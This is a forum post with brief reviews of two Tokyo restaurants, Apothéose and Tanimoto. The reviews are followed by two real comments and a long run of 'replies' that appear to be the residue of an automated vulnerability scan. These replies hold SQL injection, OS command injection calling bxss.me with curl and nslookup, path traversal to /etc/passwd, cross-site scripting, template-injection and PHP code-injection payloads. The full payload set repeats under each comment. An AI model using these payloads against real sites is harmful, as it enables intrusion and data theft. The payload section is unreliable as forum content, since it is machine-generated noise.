Hi all---just wanted to offer a couple of endorsements of places I've visited recently that I think deserve a little more exposure. Tried both in late May / early June. Take everything with a pinch of salt because I'm hardly an expert.
---
Apothéose: recently opened at Tokyo Node in Toranomon Hills. You can read all about the chef's history and the restaurant at https://apotheose.jp/en/about/. I was slightly concerned that it would be all about the 49th floor setting (which is absolutely stunning, especially if you can time dinner to span sunset) but I came away extremely impressed overall. I called it French in the title, and that makes sense as a reference point, but the food has an extremely international sensibility and so I wouldn't want to pin it down.
My meal was close to flawless. Flavors are perfectly balanced, light but complex, clever without being needlessly challenging. Every dish had precision and a point of view. Wine list has smart, cheaper, trendy bottles (e.g. Jura, Loire) to go along with the expected old favorites, and the somm was a pleasure to talk to. Service and design impeccable. One of the most impressive new restaurants. It's medium pricey. Reservations currently extremely easy but in my opinion deserve to be more difficult.
---
Tanimoto: less new, less under the radar, but another place with easy reservations that, for me, is superior to a lot of more difficult ones. Relocated to Kagurazaka and the space is nice. I went for lunch; it's the same course as dinner but I very much appreciate a good kaiseki lunch when available.
Overall one of the best Japanese meals I've had in Tokyo in a long while. Nothing too fancy in terms of showy ingredients or huge portions, but very satisfying. The soup course (suppon dumpling) was an eleven out of ten. A few other courses were a ten. Service relatively relaxed for this kind of place. Similarly, the cooks seemed to all be operating smoothly and without any anxiety, which in my experience is quite unusual for a kaiseki place with a decent-sized staff. I wouldn't go expecting a lot of innovation, but it fits what I personally am looking for in this kind of meal, and offers decent value for money compared to some of its peers.
---
2 Comments
Thanks. Apothéose is on my list. Hoping/waiting for them to open for lunch :)
re: thetokyogourmet
1HQB6SF635H0
re: thetokyogourmet
response.write(9394474*9824229)
re: thetokyogourmet
'+response.write(9394474*9824229)+'
re: thetokyogourmet
"+response.write(9394474*9824229)+"
re: thetokyogourmet
../../../../../../../../../../../../../../etc/passwd
re: thetokyogourmet
../../../../../../../../../../../../../../windows/win.ini
re: thetokyogourmet
<esi:include src="http://bxss.me/rpb.png"/>
re: thetokyogourmet
file:///etc/passwd
re: thetokyogourmet
${9999127+9999549}
re: thetokyogourmet
../
re: thetokyogourmet
)
re: thetokyogourmet
!(()&&!|*|*|
re: thetokyogourmet
redirtest.acx
re: thetokyogourmet
^(#$!@#$)(()))******
re: thetokyogourmet
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: thetokyogourmet
'.gethostbyname(lc('hitok'.'jxrmbdsl2ac3a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(73).chr(102).chr(86).'
re: thetokyogourmet
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: thetokyogourmet
echo bzpsaa$()\ cgeqpg\nz^xyu||a #' &echo bzpsaa$()\ cgeqpg\nz^xyu||a #|" &echo bzpsaa$()\ cgeqpg\nz^xyu||a #
re: thetokyogourmet
".gethostbyname(lc("hitfy"."kpiuuhqne9fbd.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(66).chr(102).chr(86)."
re: thetokyogourmet
/etc/shells
re: thetokyogourmet
&echo hgocol$()\ xkqxxr\nz^xyu||a #' &echo hgocol$()\ xkqxxr\nz^xyu||a #|" &echo hgocol$()\ xkqxxr\nz^xyu||a #
re: thetokyogourmet
gethostbyname(lc('hityy'.'tdssvhzj59177.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(86).chr(109).chr(83)
re: thetokyogourmet
../../../../../../../../../../../../../../etc/shells
re: thetokyogourmet
|echo oyzmjq$()\ jecatb\nz^xyu||a #' |echo oyzmjq$()\ jecatb\nz^xyu||a #|" |echo oyzmjq$()\ jecatb\nz^xyu||a #
re: thetokyogourmet
c:/windows/win.ini
re: thetokyogourmet
expr 9000445850 - 973998
re: thetokyogourmet
bxss.me
re: thetokyogourmet
(nslookup -q=cname hittrbskrvqyw6356b.bxss.me||curl hittrbskrvqyw6356b.bxss.me))
re: thetokyogourmet
Http://bxss.me/t/fit.txt
re: thetokyogourmet
$(nslookup -q=cname hitrpbysebgnm526ae.bxss.me||curl hitrpbysebgnm526ae.bxss.me)
re: thetokyogourmet
ctime
sleep
p0
(I30
tp1
Rp2
.
re: thetokyogourmet
http://bxss.me/t/fit.txt?.jpg
re: thetokyogourmet
&nslookup -q=cname hitaevrtvfvlw704be.bxss.me&'\"`0&nslookup -q=cname hitaevrtvfvlw704be.bxss.me&`'
re: thetokyogourmet
'"()
re: thetokyogourmet
&(nslookup -q=cname hitbouauuodmi199a3.bxss.me||curl hitbouauuodmi199a3.bxss.me)&'\"`0&(nslookup -q=cname hitbouauuodmi199a3.bxss.me||curl hitbouauuodmi199a3.bxss.me)&`'
re: thetokyogourmet
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: thetokyogourmet
'&&sleep(27*1000)*nrxruu&&'
re: thetokyogourmet
|(nslookup -q=cname hitrnssilikvw1511a.bxss.me||curl hitrnssilikvw1511a.bxss.me)
re: thetokyogourmet
';print(md5(31337));$a='
re: thetokyogourmet
"&&sleep(27*1000)*iddkrt&&"
re: thetokyogourmet
`(nslookup -q=cname hitvvfpmvplji43125.bxss.me||curl hitvvfpmvplji43125.bxss.me)`
re: thetokyogourmet
";print(md5(31337));$a="
re: thetokyogourmet
'||sleep(27*1000)*lqhapm||'
re: thetokyogourmet
;(nslookup -q=cname hitlepmutreyhf7776.bxss.me||curl hitlepmutreyhf7776.bxss.me)|(nslookup -q=cname hitlepmutreyhf7776.bxss.me||curl hitlepmutreyhf7776.bxss.me)&(nslookup -q=cname hitlepmutreyhf7776.bxss.me||curl hitlepmutreyhf7776.bxss.me)
re: thetokyogourmet
${@print(md5(31337))}
re: thetokyogourmet
"||sleep(27*1000)*xpplyn||"
re: thetokyogourmet
|(nslookup${IFS}-q${IFS}cname${IFS}hitorzlwsrsjd20710.bxss.me||curl${IFS}hitorzlwsrsjd20710.bxss.me)
re: thetokyogourmet
${@print(md5(31337))}\
re: thetokyogourmet
&(nslookup${IFS}-q${IFS}cname${IFS}hitdtppdohgrkc2909.bxss.me||curl${IFS}hitdtppdohgrkc2909.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdtppdohgrkc2909.bxss.me||curl${IFS}hitdtppdohgrkc2909.bxss.me)&`'
re: thetokyogourmet
'.print(md5(31337)).'
re: thetokyogourmet
HttP://bxss.me/t/xss.html?%00
re: thetokyogourmet
bxss.me/t/xss.html?%00
re: thetokyogourmet
"+"A".concat(70-3).concat(22*4).concat(117).concat(78).concat(111).concat(81)+(require"socket"
Socket.gethostbyname("hitnm"+"wgkhwvsj7d520.bxss.me.")[3].to_s)+"
re: thetokyogourmet
'+'A'.concat(70-3).concat(22*4).concat(122).concat(73).concat(97).concat(69)+(require'socket'
Socket.gethostbyname('hithk'+'gkqxzokcc6af3.bxss.me.')[3].to_s)+'
re: thetokyogourmet
'A'.concat(70-3).concat(22*4).concat(112).concat(76).concat(113).concat(73)+(require'socket'
Socket.gethostbyname('hitto'+'ldwtoaad4c3cb.bxss.me.')[3].to_s)
re: thetokyogourmet
replies
re: thetokyogourmet
'"
re: thetokyogourmet
replies
re: thetokyogourmet
<!--
re: thetokyogourmet
replies/.
re: thetokyogourmet
'"()&%<zzz><ScRiPt >7z4i(9478)</ScRiPt>
re: thetokyogourmet
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitdjtpmnzskv2fe49.bxss.me")}}
re: thetokyogourmet
'"()&%<zzz><ScRiPt >7z4i(9112)</ScRiPt>
re: thetokyogourmet
9593411
re: thetokyogourmet
4En9gXW1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
-1 OR 5*5=25 --
re: thetokyogourmet
-1 OR 5*5=26 --
re: thetokyogourmet
-1 OR 5*5=25
re: thetokyogourmet
-1 OR 5*5=26
re: thetokyogourmet
*if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
-1 waitfor delay '0:0:15' --
re: thetokyogourmet
K7TPGQrX'; waitfor delay '0:0:15' --
re: thetokyogourmet
-1 OR 55=(SELECT 55 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1) OR 72=(SELECT 72 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 800=(SELECT 800 FROM PG_SLEEP(15))--
re: thetokyogourmet
4ILJoRJ4' OR 465=(SELECT 465 FROM PG_SLEEP(15))--
re: thetokyogourmet
ZEZ6888u') OR 638=(SELECT 638 FROM PG_SLEEP(15))--
re: thetokyogourmet
CL01Qk8D')) OR 530=(SELECT 530 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
'"
re: thetokyogourmet
@@YlcPD
re: thetokyogourmet
(select 198766*667891)
re: thetokyogourmet
(select 198766*667891 from DUAL)
Anyone went to ERh before that can comment on the new restaurant? I was not impressed a couple years ago by ERH but wonder if returning to Japan does the magic
re: guest
1DPANF74MGG0
re: guest
response.write(9979125*9038439)
re: guest
'+response.write(9979125*9038439)+'
re: guest
"+response.write(9979125*9038439)+"
re: guest
../../../../../../../../../../../../../../etc/passwd
re: guest
../../../../../../../../../../../../../../windows/win.ini
re: guest
file:///etc/passwd
re: guest
<esi:include src="http://bxss.me/rpb.png"/>
re: guest
${9999186+9999571}
re: guest
../
re: guest
)
re: guest
!(()&&!|*|*|
re: guest
redirtest.acx
re: guest
^(#$!@#$)(()))******
re: guest
echo zjkuoh$()\ xzuovf\nz^xyu||a #' &echo zjkuoh$()\ xzuovf\nz^xyu||a #|" &echo zjkuoh$()\ xzuovf\nz^xyu||a #
re: guest
'.gethostbyname(lc('hitkh'.'fewhkvpu48326.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(67).chr(105).chr(86).'
re: guest
&echo fvrdlc$()\ xphkcd\nz^xyu||a #' &echo fvrdlc$()\ xphkcd\nz^xyu||a #|" &echo fvrdlc$()\ xphkcd\nz^xyu||a #
re: guest
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: guest
".gethostbyname(lc("hitcy"."dhehwwqab5631.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(87).chr(120).chr(65)."
re: guest
|echo lbquak$()\ wpjkas\nz^xyu||a #' |echo lbquak$()\ wpjkas\nz^xyu||a #|" |echo lbquak$()\ wpjkas\nz^xyu||a #
re: guest
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: guest
gethostbyname(lc('hitci'.'zaxtlvncd6159.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(79).chr(109).chr(90)
re: guest
expr 9000102377 - 955375
re: guest
/etc/shells
re: guest
(nslookup -q=cname hitiwqkcwjbbgb2863.bxss.me||curl hitiwqkcwjbbgb2863.bxss.me))
re: guest
../../../../../../../../../../../../../../etc/shells
re: guest
$(nslookup -q=cname hittxesaxnueua8195.bxss.me||curl hittxesaxnueua8195.bxss.me)
re: guest
c:/windows/win.ini
re: guest
&nslookup -q=cname hitbzndsaisbf3e914.bxss.me&'\"`0&nslookup -q=cname hitbzndsaisbf3e914.bxss.me&`'
re: guest
bxss.me
re: guest
ctime
sleep
p0
(I30
tp1
Rp2
.
re: guest
&(nslookup -q=cname hitpefjovtrku105c8.bxss.me||curl hitpefjovtrku105c8.bxss.me)&'\"`0&(nslookup -q=cname hitpefjovtrku105c8.bxss.me||curl hitpefjovtrku105c8.bxss.me)&`'
re: guest
Http://bxss.me/t/fit.txt
re: guest
|(nslookup -q=cname hitieqgueokox217eb.bxss.me||curl hitieqgueokox217eb.bxss.me)
re: guest
http://bxss.me/t/fit.txt?.jpg
re: guest
`(nslookup -q=cname hitdzwlmmjqta84de6.bxss.me||curl hitdzwlmmjqta84de6.bxss.me)`
re: guest
;(nslookup -q=cname hitdqzxguayihefd29.bxss.me||curl hitdqzxguayihefd29.bxss.me)|(nslookup -q=cname hitdqzxguayihefd29.bxss.me||curl hitdqzxguayihefd29.bxss.me)&(nslookup -q=cname hitdqzxguayihefd29.bxss.me||curl hitdqzxguayihefd29.bxss.me)
re: guest
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: guest
|(nslookup${IFS}-q${IFS}cname${IFS}hityoibxhzeek76324.bxss.me||curl${IFS}hityoibxhzeek76324.bxss.me)
re: guest
';print(md5(31337));$a='
re: guest
'"()
re: guest
&(nslookup${IFS}-q${IFS}cname${IFS}hitxnglhpmnsa5d912.bxss.me||curl${IFS}hitxnglhpmnsa5d912.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxnglhpmnsa5d912.bxss.me||curl${IFS}hitxnglhpmnsa5d912.bxss.me)&`'
re: guest
";print(md5(31337));$a="
re: guest
'&&sleep(27*1000)*zxlnlq&&'
re: guest
${@print(md5(31337))}
re: guest
"&&sleep(27*1000)*gxmfvp&&"
re: guest
${@print(md5(31337))}\
re: guest
'||sleep(27*1000)*kfsyxz||'
re: guest
"||sleep(27*1000)*mzzqvr||"
re: guest
'.print(md5(31337)).'
re: guest
HttP://bxss.me/t/xss.html?%00
re: guest
bxss.me/t/xss.html?%00
re: guest
"+"A".concat(70-3).concat(22*4).concat(118).concat(72).concat(120).concat(87)+(require"socket"
Socket.gethostbyname("hitlf"+"idhkeoqb94d52.bxss.me.")[3].to_s)+"
re: guest
'+'A'.concat(70-3).concat(22*4).concat(120).concat(70).concat(108).concat(73)+(require'socket'
Socket.gethostbyname('hitpw'+'cxgysbjx793c1.bxss.me.')[3].to_s)+'
re: guest
'A'.concat(70-3).concat(22*4).concat(105).concat(82).concat(102).concat(90)+(require'socket'
Socket.gethostbyname('hitbr'+'dwtvaqok9f137.bxss.me.')[3].to_s)
re: guest
replies
re: guest
'"
re: guest
replies
re: guest
<!--
re: guest
replies/.
re: guest
'"()&%<zzz><ScRiPt >tShq(9619)</ScRiPt>
re: guest
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hithzikxotcph01d3a.bxss.me")}}
re: guest
'"()&%<zzz><ScRiPt >tShq(9969)</ScRiPt>
re: guest
9840708
re: guest
OqkwmaZi
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
-1 OR 5*5=25 --
re: guest
-1 OR 5*5=26 --
re: guest
-1 OR 5*5=25
re: guest
-1 OR 5*5=26
re: guest
*if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
-1 waitfor delay '0:0:15' --
re: guest
7JUDdwUy'; waitfor delay '0:0:15' --
re: guest
-1 OR 563=(SELECT 563 FROM PG_SLEEP(15))--
re: guest
-1) OR 668=(SELECT 668 FROM PG_SLEEP(15))--
re: guest
-1)) OR 739=(SELECT 739 FROM PG_SLEEP(15))--
re: guest
aO1G579g' OR 508=(SELECT 508 FROM PG_SLEEP(15))--
re: guest
sC1rpUFh') OR 25=(SELECT 25 FROM PG_SLEEP(15))--
re: guest
E3Y7mciR')) OR 336=(SELECT 336 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
'"
re: guest
@@giSX7
re: guest
(select 198766*667891)
re: guest
(select 198766*667891 from DUAL)